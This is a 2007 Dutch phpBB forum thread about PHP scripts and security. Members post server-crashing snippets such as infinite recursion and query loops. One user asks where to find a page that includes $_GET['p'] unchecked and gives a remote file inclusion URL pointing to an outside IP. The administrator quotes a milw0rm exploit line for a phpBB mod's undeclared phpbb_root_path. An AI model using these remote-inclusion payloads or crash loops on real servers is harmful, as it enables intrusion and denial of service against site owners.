Scripts en veiligheid

Praat mee over van alles en nog wat!
Forumregels
Dit forum is voor alle zinnige gesprekken buiten phpBB om. Discussies en gesprekken over interessante onderwerpen.

Een nieuw onderwerp moet..:
  • uiteraard voldoen aan de algemene voorwaarden
  • niet passen in de gewone supportfora
  • interessante zijn voor het overgrote deel van onze gebruikers
  • een neutrale of positieve ondertoon hebben
  • anders zijn dan bestaande onderwerpen
Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Scripts en veiligheid

Bericht door Salomon » 23 apr 2007, 18:19

Wil iemand z'n PHP server laten crashen?

Code: Selecteer alles

function a() { a(); } a();
Laatst gewijzigd door Salomon op 24 apr 2007, 19:55, 1 keer totaal gewijzigd.

ElbertF
Berichten: 5803
Lid geworden op: 12 okt 2004, 08:34
Contacteer:

Bericht door ElbertF » 23 apr 2007, 19:13

Haha waarom doe je dat ook. :)

Wat dacht je van deze..

Code: Selecteer alles

for ( $i = 0; $i == 0; );

Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Bericht door Salomon » 23 apr 2007, 19:23

Zelfde effect :P
Weet iemand een onbeveiligde pagina die gewoon $_GET['p'] included, zonder case oid?
(pag.php?p=http://193.84.187.29/0jgwq7/documents/lol.txt)

Gebruikersavatar
Paul
Beheerder
Beheerder
Berichten: 20316
Lid geworden op: 23 okt 2003, 11:38
Locatie: Utrecht
Contacteer:

Bericht door Paul » 23 apr 2007, 19:24

toch vink deze leuker:

Code: Selecteer alles

$sql = 'SELECT user_id FROM . ' USERS_TABLE;
$result = $db->sql_query($sql);

while ($result = $db->sql_query($sql))
{
var_dump($row);
}
:P

Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Bericht door Salomon » 23 apr 2007, 19:37

Nja, komt allemaal op hetzelfde neer: Server wordt beetje (veel) belast :P

ElbertF
Berichten: 5803
Lid geworden op: 12 okt 2004, 08:34
Contacteer:

Bericht door ElbertF » 23 apr 2007, 19:43

Salomon schreef:Weet iemand een onbeveiligde pagina die gewoon $_GET['p'] included, zonder case oid?
(pag.php?p=http://193.84.187.29/0jgwq7/documents/lol.txt)
Wat bedoel je :?:

Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Bericht door Salomon » 23 apr 2007, 19:56

<?php
include($_GET['p'];
?>
En als ik dan mijn bestand include :P

Gebruikersavatar
Bas
Berichten: 2741
Lid geworden op: 02 dec 2003, 17:38
Locatie: Omgeving Goslar (Duitsland)
Contacteer:

Bericht door Bas » 23 apr 2007, 20:05

paul schreef:toch vink deze leuker:

Code: Selecteer alles

$sql = 'SELECT user_id FROM . ' USERS_TABLE;
$result = $db->sql_query($sql);

while ($result = $db->sql_query($sql))
{
var_dump($row);
}
:P
Jep, die zou je MySQL-server ook crashen... :)

ElbertF
Berichten: 5803
Lid geworden op: 12 okt 2004, 08:34
Contacteer:

Bericht door ElbertF » 23 apr 2007, 20:31

Salomon schreef:<?php
include($_GET['p'];
?>
En als ik dan mijn bestand include :P
Je wilt via GET een externe pagina inladen? Je kan geen PHP scripts parsen vanaf een andere server, dit kan wel:

Code: Selecteer alles

<?php
echo get_file_contents($_GET['p']);
?>

Gebruikersavatar
Paul
Beheerder
Beheerder
Berichten: 20316
Lid geworden op: 23 okt 2003, 11:38
Locatie: Utrecht
Contacteer:

Bericht door Paul » 23 apr 2007, 20:45

Bas schreef:
paul schreef:toch vink deze leuker:

Code: Selecteer alles

$sql = 'SELECT user_id FROM . ' USERS_TABLE;
$result = $db->sql_query($sql);

while ($result = $db->sql_query($sql))
{
var_dump($row);
}
:P
Jep, die zou je MySQL-server ook crashen... :)
Nha, mijn mysql server houd het wel een 60 seconden vol, daarna exit php :P

Met 68288 querys in ruim 100 seconde heeft mijn mysql server geen problem ;)

Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Bericht door Salomon » 24 apr 2007, 07:00

ElbertF schreef:
Salomon schreef:<?php
include($_GET['p'];
?>
En als ik dan mijn bestand include :P
Je wilt via GET een externe pagina inladen? Je kan geen PHP scripts parsen vanaf een andere server, dit kan wel:

Code: Selecteer alles

<?php
echo get_file_contents($_GET['p']);
?>
Ik had gelezen dat het wel kon, als een bepaalde optie aanstaat (uitzetten dus :P), op phpfreakz (web programeurs hacking guide)

ElbertF
Berichten: 5803
Lid geworden op: 12 okt 2004, 08:34
Contacteer:

Bericht door ElbertF » 24 apr 2007, 09:39

Lijkt me nogal logisch dat het niet kan, anders zou ik bijv. jouw config.php kunnen inladen? Dit kan alleen als er op jouw server geen PHP geparsed wordt.

Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Bericht door Salomon » 24 apr 2007, 09:44

Kijk eens naar phpBB. Die gebruikt extension.inc
Wat staat daar in? Juist, php code. Kan je die gebruiken in de rest van het script? Ja. Maar: het wordt niet geparsed.
Het gaat php dus niet om de extensie, maar om de inhoud. Op het moment dat je een txt bestand hebt, waar je php code inzet, wordt dat niet geparsed. Op het moment dat je het included, wel.
Ga het eens proberen!

Voorbeeld: http://www.probleemoppc.com/test/test.php
Onderaan zie je de bron :P
Laatst gewijzigd door Salomon op 24 apr 2007, 09:50, 1 keer totaal gewijzigd.

ElbertF
Berichten: 5803
Lid geworden op: 12 okt 2004, 08:34
Contacteer:

Bericht door ElbertF » 24 apr 2007, 09:50

Je kan geen externe bestanden includen. Maar met de eval() functie kun je wel code parsen uit een extern bestand, in combinatie met bijv. get_file_contents(). Het bestand mag inderdaad geen PHP extentie hebben.

http://php.net/eval

Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Bericht door Salomon » 24 apr 2007, 09:50

Zie bericht hierboven ^^

ElbertF
Berichten: 5803
Lid geworden op: 12 okt 2004, 08:34
Contacteer:

Bericht door ElbertF » 24 apr 2007, 09:54

Ah, ik lees dit net op php.net:
Als de "URL fopen wrappers" zijn ingeschakeld (in de default configuratie is dit het gevel), dan kun je een file ook include()n met een URL, in plaats van een lokale path naam.
Dus dan heb je gelijk. :bier:

Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Bericht door Salomon » 24 apr 2007, 09:55

ElbertF schreef:Je kan geen externe bestanden includen. Maar met de eval() functie kun je wel code parsen uit een extern bestand, in combinatie met bijv. get_file_contents(). Het bestand mag inderdaad geen PHP extentie hebben.

http://php.net/eval
Nooit gehoord van get_file_contents, wel van file_get_contents :P

(Jongen van twaalf *dist* de beheerder van phpBB.nl 2 keer in 5 minuten :-))
*dist* = moderne spreektaal
Laatst gewijzigd door Salomon op 24 apr 2007, 09:57, 1 keer totaal gewijzigd.

ElbertF
Berichten: 5803
Lid geworden op: 12 okt 2004, 08:34
Contacteer:

Bericht door ElbertF » 24 apr 2007, 09:56

Dat is een php7 functie waar je nooit van hebt gehoord. :o

Salomon
Berichten: 3878
Lid geworden op: 14 feb 2006, 16:15

Bericht door Salomon » 24 apr 2007, 09:58

Smoesjes...
We zijn nog niet eens bij php6, laat staan php7.
Oja, zie vorige post:
(Jongen van twaalf *dist* de beheerder van phpBB.nl 2 keer in 5 minuten )
*dist* = moderne spreektaal
Sowieso, dan kan je het nu nog niet gebruiken, ALS het al zo zou zijn :P

Gebruikersavatar
Paul
Beheerder
Beheerder
Berichten: 20316
Lid geworden op: 23 okt 2003, 11:38
Locatie: Utrecht
Contacteer:

Bericht door Paul » 24 apr 2007, 10:18

Include is zowiezo erg gevaarlijk. Veel exploit onstaan atm door register globals aan, en dan in een mod geen check op IN_PHPBB, en daarna een include met $phpbb_root_path als eerst. daardoor kan je de complete controle krijgen over alle files van die user ;).

Voorbeeld:(heb de eerste mod uit het lijstje van milw0rm gepakt)

Code: Selecteer alles

Vulnerable in MOD_forum_fields_parse.php: include($phpbb_root_path . 'MOD_forum_fields_default.php');

#$phpbb_root_path is not declared!



[+]Exploit: http://[target]/[module_path]/MOD_forum_fields_parse.php?phpbb_root_path=FILE  
Dit is een ZEER gevaarlijk soort exploit, wat regelmatig voorkomt.

Plaats reactie